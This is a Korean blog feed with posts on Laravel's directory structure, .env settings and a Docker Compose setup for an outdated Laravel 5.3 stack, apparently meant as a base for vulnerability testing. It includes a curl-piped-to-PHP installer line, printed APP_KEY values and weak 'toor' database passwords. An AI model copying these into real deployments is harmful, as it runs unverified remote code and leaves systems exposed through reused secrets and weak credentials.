기본적으로 라라벨에서 포함하는 &quot;<strong>web.php</strong>&quot;, &quot;<strong>api.php</strong>&quot;, &quot;<strong>console.php</strong>&quot; 파일이 포함되어 있습니다. <br><br>
&quot;<strong>web.php</strong>&quot; 파일은 &quot;<strong>RouteServiceProvidetr</strong>&quot;의 &quot;<strong>web</strong>&quot; 미들웨어 그룹안에 포함되어 있으며, 세션 상태, CSRF 보호, Cookie 암호화 기능을 제공합니다.<br>
만약 상태를 비 저장 RESTful API를 제공하지 않을 경우 모든 라우팅 경로가 &quot;<strong>web.php</strong>&quot; 파일에 정의됩니다. <br><br>
&quot;<strong>api.php</strong>&quot; 파일은 &quot;<strong>RouteServiceProvider</strong>&quot;의 &quot;<strong>api</strong>&quot; 미들웨어 그룹안에 포함되어 있으며, 접근 속도 제한 제한 기능을 제공합니다. 이러한 라우트들은 상태를 비 저장을 위한 것으로 이러한 경로를 통해 응용 프로그램에 들어오는 요청은 토큰을 통해 인증되며 세션 상태에 액세스할 수 없습니다. <br><br>
&quot;<strong>console.php</strong>&quot; 파일은 클로저 기반의 명령어들을 정의합니다. 각 클로저는 각각의 명령어 IO 메소드와 상호 작용하는 간단한 명령어를 구현하는 명령어 인스턴스에 바인드 되어 있습니다. 해당 파일은 HTTP 라우트가 정의되어 있지 않지만, 애플리케이션에 콘솔 기반의 진입점을 정의합니다.</p>
<p><br><br></p>
<h3 id="storagedriectory">storage Driectory</h3>
<hr>
<p>storage 디렉터리는 컴파일된 블레이드 템플릿, 파일 기반 세션, 파일 캐시 및 프레임워크에 의해 생성되는 다른 파일이 포함되어 있습니다.<br>
&quot;<strong>app</strong>&quot;, &quot;<strong>framework</strong>&quot;, &quot;<strong>logs</strong>&quot; 디렉터리로 구성되어 있습니다. <br><br>
&quot;<strong>app</strong>&quot; 디렉터리는 애플리케이션에 의해서 생성된 모든 파일을 저장하는데 사용됩니다. <br><br>
&quot;<strong>framework</strong>&quot; 디렉터리는 프레임워크에 의해서 생성한 파일 및 캐시를 저장하는데 사용됩니다. <br><br>
&quot;<strong>logs</strong>&quot; 디렉터리는 애플리케이션의 로그 파일들을 가지고 있습니다. <br><br>
&quot;<strong>storage/app/public</strong>&quot; 디렉터리는 공개적으로 접근이 가능해야 하며, 사용자 프로필 이미지 같은 사용자가 업로드한 파일들에 사용할 수 있습니다. &quot;<strong>public/storage</strong>&quot; 디렉터리는 심볼릭 링크를 생성해야 하며 아래와 같은 아티즌 명령어를 통해 링크를 생성할 수 있습니다.</p>
<br>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ php artisan storage:link 
The [public/storage] directory has been linked.
</code></pre>
<p><br><br></p>
<h3 id="testsdriectory">tests Driectory</h3>
<hr>
<p>tests 디렉터리는 자동화된 테스트가 포함되어 있습니다. 기본적으로 &quot;<strong>PHPUnit</strong>&quot; 예제가 제공되며, 각 테스트 클래스에는 &quot;<strong>Test</strong>&quot; 라는 단어가 추가되어야합니다. &quot;<strong>Test</strong>&quot;라는 단어가 추가되어야 합니다.<br>
&quot;<strong>phpunit</strong>&quot;, &quot;<strong>php vendor/bin/phpunit</strong>&quot; 명령어를 통해 실행할 수 있습니다.</p>
<p><br><br></p>
<h3 id="vendordriectory">vendor Driectory</h3>
<hr>
<p>ventor 디렉터리는 &quot;<strong>Composer</strong>&quot; 의존성 디렉터리입니다.</p>
<p><br><br><br></p>
<h2 id="appdirectory">APP Directory</h2>
<p>응용프로그램의 대부분은 &quot;<strong>app</strong>&quot; 디렉터리에 있습니다. 기본적으로 해당 디렉터리는 네임스페이스(namespace)이 &quot;<strong>App</strong>&quot;으로 지정되며 &quot;<strong>PSR-4 오토로딩 표준</strong>&quot;를 사용하는 <strong>Composer에</strong> 의해 자동로드됩니다. <br><br></p>
<p>&quot;<strong>app</strong>&quot; 디렉터리는 다음과 같은 (&quot;<strong>Console</strong>, &quot;<strong>Http</strong>&quot;, <strong>Providers</strong>&quot;)와 같은 다양한 추가 디렉터리를 포함하고 있습니다.<br>
&quot;<strong>Console</strong>&quot;, &quot;<strong>Http</strong>&quot; 디렉터리는 애플리케이션의 코어에 API를 제공한다고 생각하시면 됩니다. HTTP 프로토콜과 CLI는 모두 응용 프로그램과 상호 작용하는 메커니즘이지만 실제로 응용프로그램 로직을 포함하지는 않습니다.<br>
즉, 응용프로그램에 명령을 내리는 두 가지 방법뿐입니다. &quot;<strong>Console</strong>&quot; 디렉터리는 모든 아티즌(Artisan) 명령어를 포함하고, &quot;<strong>Http</strong>&quot; 디렉터리는 컨트롤러와 미들웨어, 요청을 포함합니다. <br><br>
다른 다양한 디렉터리는 클래스를 생성하기 위해 &quot;<strong>Artisan</strong>&quot; 명령어(<strong>make</strong>)를 사용하여 클래스를 생성하면 &quot;<strong>app</strong>&quot; 디렉터리 내에 생성됩니다.<br>
예를 들어 Job 클래스를 생성하기 위해 &quot;<strong>php artisan make:Job</strong>&quot; 아티즌 명령어를 사용하기전까지는 &quot;<strong>app/jobs</strong>&quot; 디렉터리가 존재하지 않습니다. <br></p>
<p>&quot;<strong>app</strong>&quot; 디렉터리 안에 있는 많은 클래스는 Artisan 명령어를 통해 생성됩니다. 사용가능한 명령어를 보기 위해 아래와 같이 명령어를 입력해주시면 됩니다.</p>
<br>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ php artisan list make
Laravel Framework version 5.3.31

Usage:
  command [options] [arguments]

Options:
  -h, --help            Display this help message
  -q, --quiet           Do not output any message
  -V, --version         Display this application version
      --ansi            Force ANSI output
      --no-ansi         Disable ANSI output
  -n, --no-interaction  Do not ask any interactive question
      --env[=ENV]       The environment the command should run under
  -v|vv|vvv, --verbose  Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug

Available commands for the &quot;make&quot; namespace:
  make:auth          Scaffold basic login and registration views and routes
  make:command       Create a new Artisan command
  make:controller    Create a new controller class
  make:event         Create a new event class
  make:job           Create a new job class
  make:listener      Create a new event listener class
  make:mail          Create a new email class
  make:middleware    Create a new middleware class
  make:migration     Create a new migration file
  make:model         Create a new Eloquent model class
  make:notification  Create a new notification class
  make:policy        Create a new policy class
  make:provider      Create a new service provider class
  make:request       Create a new form request class
  make:seeder        Create a new seeder class
  make:test          Create a new test class
</code></pre>
<p><br><br></p>
<h3 id="consoledriectory">Console Driectory</h3>
<hr>
<p>Console 디렉터리는 애플리케이션의 모든 사용자 지정 아티즌(Artisan) 명령어들을 포함하고 있습니다.<br>
이러한 명령어들을 사용하여 생성할 수 있으며, 사용자가 정의한 아티즌 명령어들이 스케줄링 작업(예약된 작업)이 정의되어 있는 콘솔 커널도 있습니다.</p>
<p><br><br></p>
<h3 id="eventsdriectory">Events Driectory</h3>
<hr>
<p>Events 디렉터리는 기본적으로 존재하지 않지만 아티즌(Artisan) 명령에 의해 생성됩니다. 해당 디렉터리는 이름에서 알 수 있듯이 이벤트 클래스가 저장되는 곳입니다. 이벤트는 애플리케이션이 특정 작업(액션)이 발생 했음을 알리는데 사용됩니다. 상당한 유연성과 분리를 제공하며 &quot;<strong>event:generate</strong>&quot; 또는 &quot;<strong>make:event Events</strong>&quot; 명령을 통해 생성할 수 있습니다.</p>
<p><br><br></p>
<h3 id="exceptionsdriectory">Exceptions Driectory</h3>
<hr>
<p>Exceptions 디렉터리는 애플리케이션의  예외 처리 핸들러를 포함하고 있습니다. 애플리케이션이 발생하는 모든 예외(Exception)들을 처리하기 좋은 장소입니다. 예외를 기록하거나 렌더링 방법을 정의하기 위해 &quot;<strong>Handler</strong>&quot; 디렉터리에서 클래스를 수정하면 됩니다.</p>
<p><br><br></p>
<h3 id="httpdriectory">Http Driectory</h3>
<hr>
<p>Http 디렉터리는 컨트롤러, 미들웨어 및 요청이 포함되어 있습니다. 애플리케이션으로 들어오는 요청을 처리하는 모든 로직이 해당 디렉터리에 배치됩니다.</p>
<p><br><br></p>
<h3 id="jobsdriectory">Jobs Driectory</h3>
<hr>
<p>Jobs 디렉터리 또한 기본적으로 존재하지 않습니다. 아티즌(Artisan) 명령(<strong>make:job</strong>)을 통해 자동으로 생성할 수 있습니다. &quot;<strong>Jobs</strong>&quot; 디렉터리는 애플리케이션의 큐로 지정한 작업들을 모아 놓은곳입니다. 애플리케이션에 의해 대기열에 추가되거나 현재 요청 수명주기 내에서 동기적으로 실행될 수 있습니다.<br>
현재 요청 중에 동기적으로 실행되는 작업은 명령 패턴의 구현으로 &quot;<strong>command</strong>&quot;라고 합니다.</p>
<p><br><br></p>
<h3 id="listenersdriectory">Listeners Driectory</h3>
<hr>
<p>Listeners 디렉터리 또한 기본적으로 존재하지 않습니다. 아티즌(Artisan) 명령 (&quot;<strong>event:generate</strong>&quot;, &quot;<strong>make:listener</strong>&quot;)을 통해 자동으로 생성할 수 있습니다.<br>
이벤트를 처리하는 클래스를 포함하고 있으며, 이벤트 리스너는 이벤트 인스턴스를 수신하여 발생하는 이벤트에 대해 응답으로 로직을 수행합니다. 예를 들어 &quot;<strong>UserRegistered</strong>&quot; 이벤트는 &quot;<strong>SendWelcomEmail</strong>&quot; 리스너에 의해서 처리됩니다.</p>
<p><br><br></p>
<h3 id="maildriectory">Mail Driectory</h3>
<hr>
<p>Mail 디렉터리 또한 기본적으로 존재하지 않습니다. 아티즌(Artisan) 명령(&quot;<strong>make:mail</strong>&quot;)을 통해 자동으로 생성할 수 있습니다. 해당 디렉터리는 애플리케이션에 의해서 발송되는 이메일을 나타내는 클래스입니다.<br>
메일 객체는 &quot;<strong>Mail::send</strong>&quot; 메소드를 사용하여 보낼 수 있는 간단한 클래스를 통하여 전자 메일을 구성할 수 있는 로직 캡슐화되어 있습니다.</p>
<p><br><br></p>
<h3 id="notificationsdriectory">Notifications Driectory</h3>
<hr>
<p>Notifications 디렉터리 또한 기본적으로 존재하지 않습니다. 아티즌(Artisan) 명령(&quot;make:notification&quot;)을 통해 자동으로 생성할 수 있습니다. 해당 디렉터리에서는 애플리케이션 내에서 발생하는 이벤트에 대한 간단한 알림과 같이 애플리케이션에서 전송하는 모든 &quot;<strong>트랜잭션</strong>&quot; 알림이 포함되어 있습니다. 라라벨의 알림 기능은 &quot;<strong>이메일</strong>&quot;, &quot;<strong>Slack</strong>&quot;, &quot;<strong>SMS</strong>&quot;와 같은 다양한 드라이버를 통해 알림을 전송하거나 데이터베이스에 저장할 수 있습니다.</p>
<p><br><br></p>
<h3 id="policiesdriectory">Policies Driectory</h3>
<hr>
<p>Policies 디렉터리 또한 기본적으로 존재하지 않습니다. 아티즌(Artisan) 명령 (&quot;<strong>make:policy</strong>&quot;)을 통해 자동으로 생성할 수 있습니다. 해당 디렉터리는 애플리케이션에 대한 &quot;<strong>권한 부여</strong>&quot; 정책 클래스가 들어 있으며, 정책은 사용자가 리소스에 대해 주어진 작업을 수행할 수 있는지 여부를 결정합니다.</p>
<p><br><br></p>
<h3 id="providersdriectory">Providers Driectory</h3>
<hr>
<p>Providers 디렉터리는 모든 애플리케이션의 &quot;서비스 프로바이더&quot; 파일을 가지고 있습니다. 서비스 프로바이더는 애플리케이션에서 필요한 서비스들을 컨테이너에 바인딩하고, 이벤트를 등록하고, 애플리케이션에 수신 요청에 대해 처리를 하기 위해서 준비되어야 하는 작업들을 수행합니다.</p>
<p><br><br></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel 기본 설정]]></title><description><![CDATA[PHP MVC 패턴 - 기본 설정
이번에는 Laravel 설치 이후 기본 셋팅에 대해 알아보도록 하겠습니다.

라라벨이 설치된 디렉터리 목록은 아래와 같습니다.]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-docker-installs/</link><guid isPermaLink="false">5f2c2342face2c057e0f07b9</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Thu, 06 Aug 2020 15:35:57 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Docker 기본설정</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.07</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="phpmvc">PHP MVC 패턴 - 기본 설정</h2>
<p>이번에는 Laravel 설치 이후 기본 셋팅에 대해 알아보도록 하겠습니다.</p>
<br>
<p>라라벨이 설치된 디렉터리 목록은 아래와 같습니다.<br>
<br><br><br></p>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ ls -la
total 184
drwxr-xr-x 24 root root    768 Aug  6 15:02 .
drwxr-xr-x  1 root root   4096 Aug  6 15:29 ..
-rw-r--r--  1 root root    542 Aug  6 15:02 .env
-rw-r--r--  1 root root    491 Aug  6 14:57 .env.example
-rw-r--r--  1 root root     61 Aug  6 14:57 .gitattributes
-rw-r--r--  1 root root     80 Aug  6 14:57 .gitignore
drwxr-xr-x  7 root root    224 Aug  6 14:57 app
-rwxr-xr-x  1 root root   1646 Aug  6 14:57 artisan
drwxr-xr-x  5 root root    160 Aug  6 14:57 bootstrap
-rw-r--r--  1 root root   1283 Aug  6 14:57 composer.json
-rw-r--r--  1 root root 137486 Aug  6 15:02 composer.lock
drwxr-xr-x 14 root root    448 Aug  6 14:57 config
drwxr-xr-x  6 root root    192 Aug  6 14:57 database
-rw-r--r--  1 root root    556 Aug  6 14:57 gulpfile.js
-rw-r--r--  1 root root    400 Aug  6 14:57 package.json
-rw-r--r--  1 root root    930 Aug  6 14:57 phpunit.xml
drwxr-xr-x  8 root root    256 Aug  6 14:57 public
-rw-r--r--  1 root root   1918 Aug  6 14:57 readme.md
drwxr-xr-x  5 root root    160 Aug  6 14:57 resources
drwxr-xr-x  5 root root    160 Aug  6 14:57 routes
-rw-r--r--  1 root root    563 Aug  6 14:57 server.php
drwxr-xr-x  5 root root    160 Aug  6 14:57 storage
drwxr-xr-x  4 root root    128 Aug  6 14:57 tests
drwxr-xr-x 33 root root   1056 Aug  6 15:02 vendor
</code></pre>
<br>
<p>-&quot;<strong>.env</strong>&quot; - 해당 파일은 전반적인 환경 변수가 저장됩니다. Ex. Mysql 호스트 주소, 세션 타입</p>
<hr>
<br>
<p>-&quot;<strong>config/</strong>&quot; - 해당 디렉터리는 프레임워크의 설정 파일이 담겨 있습니다.</p>
<hr>
<br>
<p>-&quot;<strong>public</strong>/&quot; - 웹 루트 디렉터리 이며, 메인 &quot;index.php&quot; 파일은 모든 HTTP 요청에 대해 컨트롤러가 작동되며, CSS와 JS파일이 들어 있으며, URL로 바로 접근을 할 수 있습니다.</p>
<hr>
<br>
<p><br><br><br></p>
<p>아래는 '<strong>.env</strong>' 파일에 대해 셋팅하도록 하겠습니다.</p>
<br>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp# cat .env
APP_ENV=local
APP_KEY=base64:ul+3lU4x9jLhpOFqm5LZhKfy/CqIx8HQ4bUOTEQyifw=
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://localhost

DB_CONNECTION=mysql
DB_HOST=mysql
DB_PORT=3306
DB_DATABASE=myapp
DB_USERNAME=toor
DB_PASSWORD=toor

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_KEY=
PUSHER_SECRET=
PUSHER_APP_ID=
</code></pre>
<p><strong>.env</strong></p>
<p><br><br></p>
<h2 id="app_key">&quot;APP_KEY&quot;</h2>
<hr>
<br>
<p>위 셋팅중 &quot;<strong>APP_KEY</strong>&quot;는 라라벨 Composer에서 자동으로 랜덤한 문자열로 키셋팅이 되어 있을겁니다. <br><br>
해당 키는 외부로 유출되어서는 안되며, 키가 셋팅이 되어 있지 않다면 꼭 키 셋팅을 어렵게 해야합니다. <br><br>
만약 해당 키가 외부로 유출되거나 너무 간단한 문자열일 경우 암호화된 사용자 세션 데이터가 유출 또는 변조될 수 있습니다. <br><br>
키 셋팅은 아래 php 라라벨 명령을 통하여 진행할 수 있습니다.<br>
<br></p>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ php artisan key:generate
Application key [base64:h92DCRDUP+qCfRw8r9+WVYwCCL/K3Uz45/FbomKF++Q=] set successfully.

root@961789beb441:/var/www/html/myapp$ php artisan key:generate
Application key [base64:y8MI7L9A/RF0pg3SnNTVxeJZOtTdh9ngj66as35CNfE=] set successfully.

root@961789beb441:/var/www/html/myapp$ php artisan key:generate
Application key [base64:se7kpZW63B/+GV5NXr1cUJqlqtLJcUB7XK9cwf1yXvo=] set successfully.
</code></pre>
<p><strong>Key 생성</strong></p>
<br>
<p>PHP artisan를 통하여 키를 생성할 수 있으며, 해당 키는 매번 생성할 때 서로 다른 랜덤 키 값을 제공합니다.<br>
이중 하나를 골라 &quot;.env&quot;에 넣어주시면 됩니다.</p>
<p><br><br><br></p>
<h2 id="app_debug">&quot;APP_DEBUG&quot;</h2>
<hr>
<br>
<p><strong>APP_DEBUG=true</strong> <br><br>
해당 옵션은 &quot;<strong>디버깅</strong>&quot; 모드 활성화 여부입니다. 만약 개발을 한다면 디버깅 모드를 활성화하여 개발을 진행하면 되나, 실서버에 올리거나 외부에서 접근이 가능할때는 꼭 &quot;<strong>false</strong>&quot;로 종료시켜야 합니다. <br><br>
디버깅 모드로 소스 코드 또는 내부 로직을 볼 수 있습니다. <br></p>
<pre><code class="language-php">/*
|--------------------------------------------------------------------------
| Application Debug Mode
|--------------------------------------------------------------------------
|
| When your application is in debug mode, detailed error messages with
| stack traces will be shown on every error that occurs within your
| application. If disabled, a simple generic error page is shown.
|
*/

'debug' =&gt; env('APP_DEBUG', false),
</code></pre>
<p><strong>config/app.php</strong></p>
<br>
<p>&quot;.env&quot; 변수 &quot;APP_DEBUG&quot;를 PHP 슈퍼 전역변수에 등록되어 사용됩니다.<br>
함수의 두 번째 인자 &quot;false&quot;는 기본값이며, 해당 환경 변수가 존재하지 않을 시 기본적으로 &quot;false&quot;를 할당받아 디버깅모드를 사용하지 않게 됩니다.</p>
<p><br><br><br></p>
<h2 id="">&quot;현재 환경 결정&quot;</h2>
<hr>
<br>
<p>현재 애플리케이션 환경 파일은 &quot;<strong>.env</strong>&quot; 파일의 &quot;<strong>APP_ENV</strong>&quot; 변수를 통해 결정됩니다.<br>
&quot;<strong>App</strong>&quot; 파사드의 &quot;<strong>environment</strong>&quot; 메소드를 통하여 값을 접근할 수 있습니다.</p>
<br>
<pre><code class="language-php">$environment = App::environment();

print_r($environment);
</code></pre>
<br>
<p>해당 반환값은 &quot;<strong>local</strong>&quot; 문자열로 반환됩니다. 즉 &quot;<strong>APP_ENV=local</strong>&quot; 설정된 변수의 값이 출력됩니다.</p>
<p><br><br><br></p>
<h2 id="">&quot;설정값 액세스&quot;</h2>
<hr>
<br>
<p>애플리케이션은 어느 곳에서나 전역 도우미 기능&quot;config 헬퍼 함수&quot; 통하여 쉽게 설정값 접근을 할 수 있습니다. <br><br>
설정된 값은 점&quot;<strong>.</strong>&quot; 문법을 사용합니다.</p>
<br>
<pre><code class="language-php">$value = config('app.timezone');
</code></pre>
<br>
<p>&quot;<strong>$value</strong>&quot; 변수에는 &quot;<strong>config/app.php</strong>&quot; 정의되어 있는 <strong>'timezone' =&gt; 'UTC'</strong> 값을 가져오므로 &quot;<strong>UTC</strong>&quot; 문자열이 저장됩니다.</p>
<p><br><br></p>
<p>하지만 런타임(실행중)인 애플리케이션 구성 값을 변경하려면<br>
아래와 같이 사용해주시면 됩니다.<br>
<br></p>
<pre><code class="language-php">config(['app.timezone' =&gt; 'America/Chicago']);
</code></pre>
<br>
<p>&quot;<strong>config/app.php</strong>&quot;에 timezone이 &quot;<strong>UTC</strong>&quot;로 정의되어 있어도 &quot;<strong>America/Chicago</strong>&quot;로 설정값이 변경됩니다. <br><br>
한마디로 &quot;<strong>config/app.php</strong>&quot; 파일에는 공통적으로 참조하는 구성 값이 들어 있으며, 아래와 같이 &quot;라라벨&quot; 프레임워크 <strong>provider</strong>가 정의되어 있습니다.<br>
<br></p>
<pre><code class="language-php">providers' =&gt; [

        /*
         * Laravel Framework Service Providers...
         */
        Illuminate\Auth\AuthServiceProvider::class,
        Illuminate\Broadcasting\BroadcastServiceProvider::class,
        Illuminate\Bus\BusServiceProvider::class,
        Illuminate\Cache\CacheServiceProvider::class,
        Illuminate\Foundation\Providers\ConsoleSupportServiceProvider::class,
        Illuminate\Cookie\CookieServiceProvider::class,
        ... 생략
</code></pre>
<p><strong>config/app.php</strong></p>
<p><br><br><br></p>
<h2 id="">&quot;설정 캐시&quot;</h2>
<hr>
<br>
<p>애플리케이션 구동 속도를 높이려면 &quot;Artisan&quot; 명령을 사용하여 모든 구성 파일을 단일 캐싱화 시켜야합니다.<br>
<br> 즉, 모든 설정 옵션을 하나의 파일로 묶어 애플리케이션이 보다 빠르게 로드할 수 있도록 합니다.</p>
<br>
<pre><code class="language-shell">root@961789beb441:/var/www/html/myapp$ php artisan config:cache
Configuration cache cleared!
Configuration cached successfully!

# 캐쉬 삭제
root@961789beb441:/var/www/html/myapp$ php artisan cache:clear
Cache cleared successfully.
</code></pre>
<br>
<p>&quot;<strong>php artisan config:cache</strong>&quot; 애플리케이션 배포 단계에서 실행해야 하며, 개발 단계에서는 설정값이 자주 변경되므로 로컬 개발단계에서는 실행하면 안됩니다.</p>
<p><br><br><br></p>
<h2 id="">&quot;점검 (유지보수) 모드&quot;</h2>
<hr>
<br>
<p>해당 모드가 켜질 경우 모든 라우팅이 점검 모드 화면으로 보여주게 됩니다. <br><br>
즉, &quot;<strong>업데이트</strong>&quot; &quot;<strong>유지보수</strong>&quot; &quot;<strong>수정</strong>&quot; 작업을 할 때 유용할 것 같습니다. <br><br>
HTTP 503 Status Code와 함께 MaintenanceModeException이 발생됩니다.</p>
<br>
<pre><code class="language-shell">root@961789beb441:/var/www/html/myapp$ php artisan down
Application is now in maintenance mode.
</code></pre>
<br>
<p>아티즌 &quot;<strong>php artisan down</strong>&quot; 명령을 실행시키며 됩니다.</p>
<p><br><br></p>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$  php artisan down --message=&quot;Upgrading Database&quot; --retry=60
</code></pre>
<br>
<p>down 명령어에 &quot;<strong>--message</strong>&quot;와 &quot;<strong>--retry</strong>&quot; 옵션을 사용할 수 있습니다.<br>
<br>해당 옵션은 &quot;<strong>message</strong>&quot;로 화면에 값을 출력 또는 로그에 기록되며, &quot;<strong>retry</strong>&quot; 값은 HTTP Header의 &quot;<strong>Retry-After</strong>&quot;으로 설정하는데 사용됩니다.</p>
<p><br><br></p>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ php artisan up
</code></pre>
<br>
<p>점검 (유지보수) 모드를 비활성화하기 위해 &quot;<strong>php artisan up</strong>&quot; 명령을 입력하시면 됩니다.</p>
<p><br><br></p>
<p>점검 (유지보수) 템플릿은 아래 경로 존재합니다.</p>
<br>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ ls -la resources/views/errors/503.blade.php  
-rw-r--r-- 1 root root 1116 Aug  6 14:57 resources/views/errors/503.blade.php
</code></pre>
<br>
<p>해당 템플릿를 수정하여 유지보수 모드일 경우 사용자에게 보여주는 화면을 변경할 수 있습니다.</p>
<p><br><br><br></p>
<h2 id="php">&quot;PHP 자체적으로 웹서버 구동하기&quot;</h2>
<hr>
<br>
<p>웹서버 Apache, Nginx 대신 PHP 내장 웹서버를 통하여 자체적으로 구동시킬 수 있습니다.<br>
해당 라라벨 프로젝트 디렉터리에서 아티즌을 통하여 구동시키면 됩니다.</p>
<br>
<pre><code class="language-bash">root@961789beb441:/var/www/html/myapp$ php artisan serve --host=0.0.0.0 --port=9000
Laravel development server started on http://0.0.0.0:9000/
</code></pre>
<p><strong>PHP 웹서버 구동</strong><br>
<br></p>
<p>&quot;<strong>--host</strong>&quot; 옵션에서는 접속할 수 있는 IP를 지정하나 <strong>0.0.0.0</strong>일 경우는 모든 아이피들이 접근할 수 있으며, 로컬 환경에서 개발을 한다면 안전하게 &quot;<strong>--host=127.0.0.1</strong>&quot;로 변경하여 로컬에서만 접근할 수 있도록 합니다.</p>
<br>
<p>&quot;<strong>--port=9000</strong>&quot;는 PHP 내장 웹서버 접근할 포트번호 입니다. 지정을 하지 않을 경우 Default로 8000번 포트를 사용합니다.</p>
<br><!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel Docker installs]]></title><description><![CDATA[PHP MVC 패턴 - 라라벨 도커 설치
WebHacking 플랫폼을 구현 도중 이번에는 시중에 오픈된 PHP MVC - Laravel를 통하여 취약점 테스팅을 제작해보고싶어 Docker로 PHP laravel를 구현하였습니다.]]></description><link>https://blog.d0ngd0nge.xyz/laravel-docker-install/</link><guid isPermaLink="false">5f2c1ca1face2c057e0f076e</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Thu, 06 Aug 2020 15:08:27 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Docker</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.07</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="phpmvc">PHP MVC 패턴 - 라라벨 도커 설치</h2>
<p>WebHacking 플랫폼을 구현 도중 이번에는 시중에 오픈된 PHP MVC - Laravel를 통하여 취약점 테스팅을 제작해보고싶어 Docker로 PHP laravel를 구현하였습니다.</p>
<br>
<p>우선 준비물은 아래와 같습니다.</p>
<ul>
<li>Docker</li>
<li>Docker-Compose</li>
<li>(옵션) portainer (Docker Container)</li>
</ul>
<p><br><br><br></p>
<pre><code class="language-docker">version: &quot;3&quot;

services: 
    php:
        image: laravel_php_5.3.0
        container_name: laravel_php_5.3.0
        # restart: always
        # volumes: 
        #     - ./myapp:/var/www/html/myapp
        depends_on: 
            - mysql
        links:
            - mysql:mysql
        build:
            context: ./php-fpm
            dockerfile: ./Dockerfile
        tty: true
        # environment: :
        #     TEST: test
        # working_dir: /var/www/html/myapp
        networks:
            - laravel_5.3.0
        ports:
            - &quot;127.0.0.1:9999:9000&quot;
    
    mysql:
        image: laravel_mysql_5.3.0
        container_name: laravel_mysql_5.3.0
        # restart: always
        volumes:
            - leravel_dbs_5.3.0:/var/lib/mysql
        build:
            context: ./mysql
            dockerfile: ./Dockerfile
        tty: true
        environment:
            MYSQL_DATABASE: myapp
            MYSQL_ROOT_PASSWORD: toor
            MYSQL_USER: dongdonge
            MYSQL_PASSWORD: toor
        networks:
            - laravel_5.3.0
        ports:
            - &quot;127.0.0.1:5674:3306&quot;

volumes: 
    leravel_dbs_5.3.0:
        # driver: local

networks:
    laravel_5.3.0:
        driver: bridge
        ipam:
            config:
                - subnet: 172.16.12.0/24
</code></pre>
<p><strong>Docker-compose.yml</strong></p>
<p>현재 단순히 프로그래밍 코딩을 위하여 별도 Apache나 Nginx같이 웹서버 전용 도커는 포함하지 않았습니다.<br>
php 자체에서 웹서버를 구동하여 코딩을 하기 위해 &quot;<strong>PHP</strong>&quot; 컨테이너와 디비를 저장하기 위한 &quot;<strong>MySQL</strong>&quot; 컨테이너를 준비하였습니다.</p>
<p><br><br><br></p>
<pre><code class="language-docker">FROM ubuntu:18.04

LABEL DongDongE=&quot;DongDongE@d0ngd0nge.xyz&quot;

ARG OS_LOCALE=C.UTF-8

# C.UTF-8
CMD /usr/sbin/locale-gen ${OS_LOCALE}

ENV DEBIAN_FRONTEND=noninteractive \
    DEBCONF_NONINTERACTIVE_SEEN=true \
    LC_ALL=${OS_LOCALE} \
    LANG=${OS_LOCALE}

WORKDIR /var/www/html/
# composer create-project --prefer-dist laravel/laravel myapp &quot;5.5.*&quot; &amp;&amp; \
RUN apt-get update &amp;&amp; \
    apt-get install curl git vim net-tools php7.2 php7.2-cli php7.2-mysql php7.2-mbstring php7.2-sqlite3 php7.2-mbstring php7.2-xml -y &amp;&amp; \
    curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer &amp;&amp; \
    composer create-project --prefer-dist laravel/laravel myapp &quot;5.3.0&quot; &amp;&amp; \
    apt-get clean &amp;&amp; \
    rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /var/www/html/myapp

EXPOSE 9000

CMD [ &quot;/usr/bin/php&quot;, &quot;artisan&quot;, &quot;serve&quot;, &quot;--host=0.0.0.0&quot;, &quot;--port=9000&quot; ]
</code></pre>
<p><strong>./php-fpm/Dockerfile</strong></p>
<p>php 전용 Dockerfile 입니다. &quot;CMD&quot;부분을 보시면 php 바이너리를 통하여 artisan php를 serve 옵션을 사용하여 php 자체적으로 웹서버를 구동시킵니다.</p>
<p><br><br><br></p>
<pre><code class="language-docker">FROM mysql:5.7

#   mysql&gt; SHOW VARIABLES LIKE '%VERSION%';
#   +-------------------------+------------------------------+
#   | Variable_name           | Value                        |
#   +-------------------------+------------------------------+
#   | innodb_version          | 5.7.29                       |
#   | protocol_version        | 10                           |
#   | slave_type_conversions  |                              |
#   | tls_version             | TLSv1,TLSv1.1,TLSv1.2        |
#   | version                 | 5.7.29                       |
#   | version_comment         | MySQL Community Server (GPL) |
#   | version_compile_machine | x86_64                       |
#   | version_compile_os      | Linux                        |
#   +-------------------------+------------------------------+


ARG OS_LOCALE=C.UTF-8

# C.UTF-8
CMD /usr/sbin/locale-gen ${OS_LOCALE}

